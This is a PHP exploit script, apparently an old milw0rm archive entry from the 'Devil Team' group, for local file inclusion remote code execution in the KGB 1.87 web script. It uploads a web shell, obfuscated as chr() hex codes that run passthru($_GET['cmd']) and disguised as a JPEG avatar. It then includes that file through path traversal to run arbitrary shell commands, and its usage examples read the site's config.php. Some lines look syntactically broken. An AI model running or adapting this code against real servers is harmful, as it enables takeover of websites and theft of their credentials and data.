KGB 1.87 - Local File Inclusion Remote Code Execution #security #vulnerability #ph
#!/usr/bin/php -q -d short_open_tag=on
<?
$devilteam = "
::::::::: :::::::::: ::: ::: ::::::::::: :::
:+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#++:++# +#+ +:+ +#+ +#+
+#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+#+#+# #+# #+#
######### ########## ### ########### ##########
::::::::::: :::::::::: ::: :::: ::::
:+: :+: :+: :+: +:+:+: :+:+:+
+:+ +:+ +:+ +:+ +:+ +:+:+ +:+
+#+ +#++:++# +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
### ########## ### ### ### ###
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- KGB 1.8+ <= 1.8 full (Local Inclusion) Remote Code Execution Exploit
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: KGB 1.8+ 1.8 full
- [Script site: http://www.kgb.xs.com.pl/
- [Download script: http://skrypty.webpc.pl/pobierz205.html
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Find by: Kacper (a.k.a Rahim)
+
- DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
- Contact: [email protected]
- or
- http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
- SkD, nukedclx, Ramzes
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Z Dedykacja dla osoby,
- bez ktorej nie mogl bym zyc...
- K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
/*
Szybka instrukcja jak exploit dziala :)
skrypt KGB 1.8+ jest podatny na local inclusion, poniewaz,
znajdujemy w pliku uploadzdj.php dzieki ktoremu mozemy uploadowac jakis obrazek, o wielkosci nie wiekszej niz 90kb,
natomiast w pliku kgcall.php znajdziemy kod:
...
<?
include("kgengine/".$engine);
?>
...
Czyli po uploadowaniu nowego avatara/obrazka (ktorym jest nasz skrypt) o nazwie devilteam.jpg
mozemy uzyc local include:
http://www.kgbskrypt/folder_z_kgb/kgcall.php?engine=../zdjecia/devilteam.jpg?cmd=ls -la
No i mamy go! :)
Pozdrawiam Kacper
Jesli masz jakiekolwiek pytania to zapraszam na kanal IRC: 72.20.18.6:6667 #devilteam
*/
print $devilteam;
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd options\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to KGB\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /lists/ cat ./config/config.php\r\n";
echo "php ".$argv[0]." localhost /lists/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$shell=
chr(0x3c).chr(0x3f).chr(0x70).chr(0x68).chr(0x70).
chr(0x20).chr(0x6f).chr(0x62).chr(0x5f).chr(0x63).
chr(0x6c).chr(0x65).chr(0x61).chr(0x6e).chr(0x28).
chr(0x29).chr(0x3b).chr(0x65).chr(0x63).chr(0x68).
chr(0x6f).chr(0x22).chr(0x44).chr(0x45).chr(0x56).
chr(0x49).chr(0x4c).chr(0x20).chr(0x54).chr(0x45).
chr(0x41).chr(0x4d).chr(0x20).chr(0x68).chr(0x34).
chr(0x63).chr(0x6b).chr(0x20).chr(0x79).chr(0x30).
chr(0x75).chr(0x22).chr(0x3b).chr(0x69).chr(0x6e).
chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).
chr(0x28).chr(0x22).chr(0x6d).chr(0x61).chr(0x78).
chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).
chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).
chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).
chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).
chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).
chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x24).
chr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b).
chr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22).
chr(0x5d).chr(0x29).chr(0x3b).chr(0x64).chr(0x69).
chr(0x65).chr(0x3b).chr(0x3f).chr(0x3e);
srand(make_seed());
$evil="devilteam.jpg";
$data='
-----------------------------ZGV2aWx0ZWFt--
Content-Disposition: form-data; name="plik"; filename=".$evil."
Content-Type: image/jpeg\r\n\r\n";
'.$shell.'
-----------------------------ZGV2aWx0ZWFt--
Content-Disposition: form-data; name="";
Wyslij zdjecie
-----------------------------ZGV2aWx0ZWFt--
';
$packet ="POST ".$p."kgcall.php?engine=uploadzdj.php HTTP/1.1\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Referer: http://".$host.$path."kgcall.php?engine=uploadzdj.php\r\n";
$packet.="Content-Type: multipart/form-data; boundary=-----------------------------ZGV2aWx0ZWFt--\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.=$data;
$packet.="Connection: Close\r\n";
show($packet);
sendpacketii($packet);
$packet ="GET ".$p."kgcall.php?engine=../zdjecia/devilteam.jpg&cmd=".$cmd."%00" HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"56789"))
{
$temp=explode("56789",$html);
echo $temp[1];
echo "\r\nExploit work :)\r\n";
echo "\r\nDEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\r\n";
echo "\r\nWe are The best Polish Hackers :)\r\n";
die;
}
}
?>
# milw0rm.com [2006-09-28]
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